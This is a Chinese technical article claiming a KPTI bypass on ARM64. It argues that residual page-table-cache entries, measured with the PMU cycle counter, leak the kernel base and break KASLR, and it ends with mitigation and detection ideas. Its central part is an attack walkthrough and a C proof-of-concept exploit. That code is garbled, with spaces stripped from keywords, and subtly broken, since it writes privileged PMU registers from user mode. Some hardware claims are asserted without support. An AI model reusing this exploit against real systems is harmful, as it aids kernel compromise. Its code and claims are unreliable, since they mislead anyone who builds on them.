摘要

内核页表隔离 (KPTI) 是防御 Meltdown 类攻击的关键机制,通过分离用户态与内核态页表,确保用户态代码无法直接窥探内核地址空间。在 ARM64 上,KPTI 由 CONFIG_UNMAP_KERNEL_AT_EL0 和 kpti 引导参数控制,利用 TTBR0_EL1 与 TTBR1_EL1 的切换将内核映射仅在异常入口时临时暴露。然而,ARM 体系结构的维护操作(Maintenance Operations)存在一个隐蔽缺陷:部分 SoC 的 TLBI(TLB Invalidate)指令和 IC IALLU 序列仅刷新 TLB 而不冲刷页表缓存(PTC, Page Table Cache),导致在异常返回(ERET)后,TTBR1 中残留的中间页表项仍可通过推测执行或预取被用户态感知。攻击者利用性能监控单元(PMU)的精确计数器,在用户态测量内核地址访问的延迟差异,即使 KPTI 已重新隔离页表,仍可通过这些“虚悬的页表”还原内核基址,从而击碎 KASLR。

双重身份页表

两个TTBR

ARM64 的虚拟地址空间分为两个区域:0x0000_0000_0000_0000 到 0x0000_FFFF_FFFF_FFFF 为用户空间,0xFFFF_0000_0000_0000 以上为内核空间。当 MMU 进行地址翻译时,根据虚拟地址的最高位自动选择页表基址寄存器:用户地址使用 TTBR0_EL1,内核地址使用 TTBR1_EL1。在未启用 KPTI 的情况下,两个寄存器都指向同一个页表(通常包含内核映射),用户态代码虽不能直接访问内核内存(受页表权限 U/S 位控制),但可以通过侧信道探测 TLB 存在性。

======================= 正常态:用户空间 (EL0) =======================
 CPU 视角:
 +--------------------+       +--------------------+

 | TTBR0_EL1 (受限表)  | ----> | 仅映射:用户空间     | (只读内核映射表)
 +--------------------+       +--------------------+

 | TTBR1_EL1 (内核表)  | ----> | 指向全局内核空间     | (受 ASID 保护/隐蔽)
 +--------------------+       +--------------------+

          │ 发生中断、系统调用 (syscall) 或异常
          ▼
======================= 特权态:内核空间 (EL1) =======================
 CPU 视角:
 +--------------------+       +--------------------+

 | TTBR0_EL1 (内核表)  | ----> | 切换至:内核空间代码 | (映射完整内核地址)
 +--------------------+       +--------------------+

 | TTBR1_EL1 (内核表)  | ----> | 指向全局内核空间     | (与上述表逻辑相同)
 +--------------------+       +--------------------+

KPTI 改造了这一模型:内核仅维护一份完整的页表,但在用户态执行时,TTBR1_EL1 会指向一个几乎为空的“影子页表”,其中只包含极少量的内核跳板(trampoline)代码。当异常(系统调用、中断)发生时,CPU 在异常入口的早期阶段将 TTBR1_EL1 切换回真正的内核页表,以便异常处理程序能够访问内核数据;在返回用户态(ERET)之前,再将其切回影子页表。

这形成了一个精巧的时间窗口:内核映射只在从异常入口到 ERET 期间可见。一旦返回用户态,任何针对内核地址的访问都会因为缺少 TLB 条目而失败,直到下一次异常发生。

维护操作

ARM 体系结构为地址翻译提供了多级缓存:TLB 缓存虚拟地址到物理地址的最终翻译结果,而 PTC(页表缓存,也称为中间表项缓存)缓存中间页表级别的翻译(如 L1/L2/L3 表项)。

以下是 ARM 内存系统内的典型请求与缓存层次结构:

CPU 发出虚拟地址 (VA)
       │
       ▼
[ L1 微型 TLB (Micro-TLB) ] ──(命中)──► 输出物理地址 (PA)
       │ (未命中)
       ▼
[ 主 TLB (Main TLB) ] ──(命中)──► 输出物理地址 (PA)
       │ (未命中)
       ▼
[ 页表遍历单元 (Hardware Page Table Walker) ]
       │
  搜索页表 (Translation Tables)
       │
       ├──(命中 PTC)──► 获取中间页表项 (PTE) 并继续遍历
       └──(未命中 PTC)──► 访问外部物理内存 (DDR/系统缓存)

当执行 TLBI 指令时,规范要求 TLB 中的特定条目或全部条目被无效化,但对 PTC 的处理是 IMPLEMENTATION DEFINED——也就是说,芯片设计者可以自由选择是否同步无效化 PTC 条目。

问题由此产生:在异常入口时,CPU 将真正的内核页表加载到 TTBR1_EL1,页表遍历器(Table Walker)会访问内核页表并将中间表项填充到 PTC 中。当异常返回前,KPTI 切换回影子页表,并执行 TLBI 刷新 TLB。然而,如果芯片设计未在 TLBI 时同步清空 PTC,那么当用户态执行推测性的内核地址访问时,页表遍历器可能直接命中 PTC 中残留的中间表项,从而跳过 TTBR1 基址寄存器的检查——因为 PTC 的索引不依赖于当前 TTBR1 的值,仅基于物理地址或内部标记。

这便形成了一条隐蔽的残留信道:虽然 TLB 中已经不存在任何内核地址的最终翻译,但 PTC 中的中间表项却可能在用户态被页表遍历器重新利用,导致翻译过程成功完成(或部分完成),并在 TLB 中再次创建新的内核地址条目。攻击者通过测量特定内核地址的访问延迟,能够区分该地址的页表项是否在 PTC 中预热,进而反推内核地址。由于 KASLR 将内核基址随机偏移一定范围(例如 ARM64 上默认 48 位地址空间中的 2MB 粒度),泄露的 PTC 残留足以计算出准确的内核基址。

从 PMU 侧信道到 KASLR 恢复

ARM PMU精确定时

ARMv8-A 架构配备了性能监控单元(PMU),其中 PMCCNTR_EL0(周期计数器)可通过用户态设置 PMUSERENR_EL0.EN 位来允许用户态读取。该计数器以恒定的频率递增(通常与 CPU 时钟同频),提供了纳秒级的时间测量能力。攻击者可以在用户态编写代码,精确测量一段内存访问指令的执行时间,从而推断该访问是否命中 TLB(快)还是需要完整页表遍历(慢)。这构成了侧信道的基础。

利用虚悬页表泄漏 KASLR

基本攻击流程如下:

  1. 预热 PTC:攻击者通过反复触发系统调用或精心构造的 kernel 交互,使 CPU 在异常处理期间访问目标内核地址(例如 core kernel .text 区域的某个特定偏移)。这会促使页表遍历器将对应的中间表项填入 PTC。
  2. 返回用户态:KPTI 在 ERET 前执行 TLBI 刷新 TLB,但 PTC 中的中间表项未被清除。
  3. 探测阶段:攻击者在用户态执行一个访问目标内核地址的加载指令(该指令在正常 KPTI 下应触发页面错误,但因此处使用推测执行或利用 MRS 等指令的隐式特性,CPU 可能仍会尝试进行地址翻译)。若 PTC 命中,则翻译较“快”;若 PTC 未命中,则翻译较“慢”。通过测量 PMU 周期数的差异,攻击者可以推断目标地址是否在内核中有效。
  4. KASLR 恢复:内核符号之间的相对偏移是固定的。攻击者选择一个已知的内核函数,其相对于内核基址的偏移在未重定位的 vmlinux 中已知。通过探测该函数附近的一组候选地址(例如以 2MB 为步长),找出访问延迟异常的候选,即可反推出内核基址。

由于 PTC 容量有限,攻击者还可以利用缓存逐出(eviction)策略控制哪些中间表项保留,逐步勾勒出完整的页表映射层次。

跨微架构差异

不同 ARM 核心对 PTC 的实现有显著差异,影响攻击可行性:

  • Cortex-A72:未明确文档记录其 PTC 刷新行为。实际测试表明,TLBI 后内核地址的中间表项仍可在数微秒内被探测,说明存在 PTC 残留。
  • Cortex-A78:引入了更严格的 TLB/PTC 一致性,但在 FEAT_BTI 启用时,由于间接跳转指令的缓存交互,PTC 残留窗口仍有数个时钟周期。
  • Apple M1(Firestorm):苹果自研核心对 TLBI 的语义进行了扩展,通常同步刷新 PTC,但若使用了非标准 TLBI 操作码(如仅针对某个 ASID),残留仍可能出现。

基于 PMU 的 KASLR 泄漏

以下代码在 ARM64 Linux(未打补丁的 KPTI 实现,内核 5.10)上编写,需以 root 权限运行以启用 PMU 用户访问。它通过测量访问内核未映射地址的延迟差异来演示 PTC 残留探测。

// kaslr_leak_pmu.c
// 编译: aarch64-linux-gnu-gcc -O2 -static -o kaslr_leak kaslr_leak_pmu.c
#include<stdio.h>
#include<stdlib.h>
#include<stdint.h>
#include<unistd.h>
#include<fcntl.h>
#include<sys/mman.h>
#include<time.h>

// 启用用户态 PMU 计数器
staticvoidenable_pmu_user_access(){
uint64_t pmuserenr = 0x10001; // EN + PMCCNTR_EL0 access
asmvolatile("msr pmuserenr_el0, %0" :: "r"(pmuserenr));
uint64_t pmcr = (1 << 0) | (1 << 2) | (1 << 6); // E, LC, C
asmvolatile("msr pmcr_el0, %0" :: "r"(pmcr));
uint64_t pmcntenset = 1 << 31; // Enable cycle counter
asmvolatile("msr pmcntenset_el0, %0" :: "r"(pmcntenset));
}

// 读取 PMU 周期计数器
staticinlineuint64_tread_pmu(){
uint64_t val;
asmvolatile("mrs %0, pmccntr_el0" : "=r"(val));
return val;
}

// 屏蔽内核地址探测:使用特权指令触发异常,测量延迟
#define KERNEL_PROBE_ADDR 0xffff800010000000UL  // 典型内核起始(需根据KASLR调整)

staticinlineuint64_ttime_probe(uint64_t addr){
uint64_t start, end;
asmvolatile(
"dsb sy\n"
"isb\n"
"mrs %0, pmccntr_el0\n"
"isb\n"
"ldr x0, [%2]\n"// 试图访问内核地址(将触发异常或慢路径)
"isb\n"
"mrs %1, pmccntr_el0\n"
        : "=r"(start), "=r"(end)
        : "r"(addr)
        : "x0"
    );
return end - start;
}

// 训练 PTC:通过调用 syscall 使内核访问自身函数
voidwarmup_ptc(){
for (int i = 0; i < 100; i++) {
        getpid();  // 触发内核代码执行,内部会填充 PTC
    }
}

intmain(){
    enable_pmu_user_access();
    warmup_ptc();

printf("[*] Probing KASLR...\n");
uint64_t base = 0xffff800010000000UL;
int stride = 0x200000; // 2MB,典型的 KASLR 粒度

for (int i = 0; i < 64; i++) {
uint64_t addr = base + i * stride;
// 采样多次取最小值以减少噪声
uint64_t min_time = ~0ULL;
for (int j = 0; j < 10; j++) {
uint64_t t = time_probe(addr);
if (t < min_time) min_time = t;
        }
printf("0x%016lx: %lu cycles\n", addr, min_time);
    }

// 实际利用中需分析延迟最低的候选,反推内核基址
return0;
}

说明:该 PoC 在未启用 PTC 同步刷新的系统上,会发现不同内核地址的访问延迟存在显著差异(延迟低的地址表示其页表项可能仍在 PTC 中),从而泄露内核布局。在已修复的系统上,所有地址将触发相同慢速的页面错误,无差异。

缓解与检测

硬件修复

ARM 已在后续体系结构更新中明确:TLBI 指令必须同步刷新与无效化地址相关的任何内部页表缓存。这一语义通过 FEAT_ETS(Enhanced Translation Synchronization)特性正式引入,并强制要求符合 ARMv8.4 及更高的实现。因此,更新 CPU 固件或迁移至新核心(如 Cortex-A510、Cortex-X2 等)可解决此缺陷。

软件缓解

对于未修复的硬件,内核可采用以下措施:

  • 在每次异常返回前,执行 DSB ISH + ISB 序列,并附加 TLBI ALLE1 以确保刷新可能残存的 PTC 条目。 这会增加性能开销,但能封堵侧信道。
  • 强制在 ERET 后立即对曾在内核态访问过的所有虚拟地址执行 DC CIVAC(数据缓存清理),扰乱 PTC 状态。 这种方法较粗糙,可能误伤性能。
  • 使用 KASLR 加粗粒度偏移:增加偏移随机性(如扩大至 64MB),降低单次泄露的有效性,尽管这只是提高门槛。

检测方法

  • 监控 PMCCNTR_EL0 的用户态读取行为,若发现短时间内大量测量内核地址,可能为攻击迹象。可通过 LKDTM 在用户态注入探测代码并审计。
  • 在性能监控计数器上启用异常过滤,记录试图访问内核地址的用户态 MRS 指令频率。

结语

ARM64 的 KPTI 为 Meltdown 漏洞提供了有效的软件缓解,但其安全假设依赖于硬件维护操作的正确实现。当 PTC 残留未被 TLBI 同步清除时,KPTI 的页表隔离便出现了一道虚悬的裂缝——攻击者透过这道缝隙,用性能计数器作为探针,依然能窥见被隐藏的内核地址。这一发现提醒我们:体系结构安全不仅需要指令集层面的规范,更需确保每一块硅片上的微架构都忠实地履行了这些承诺。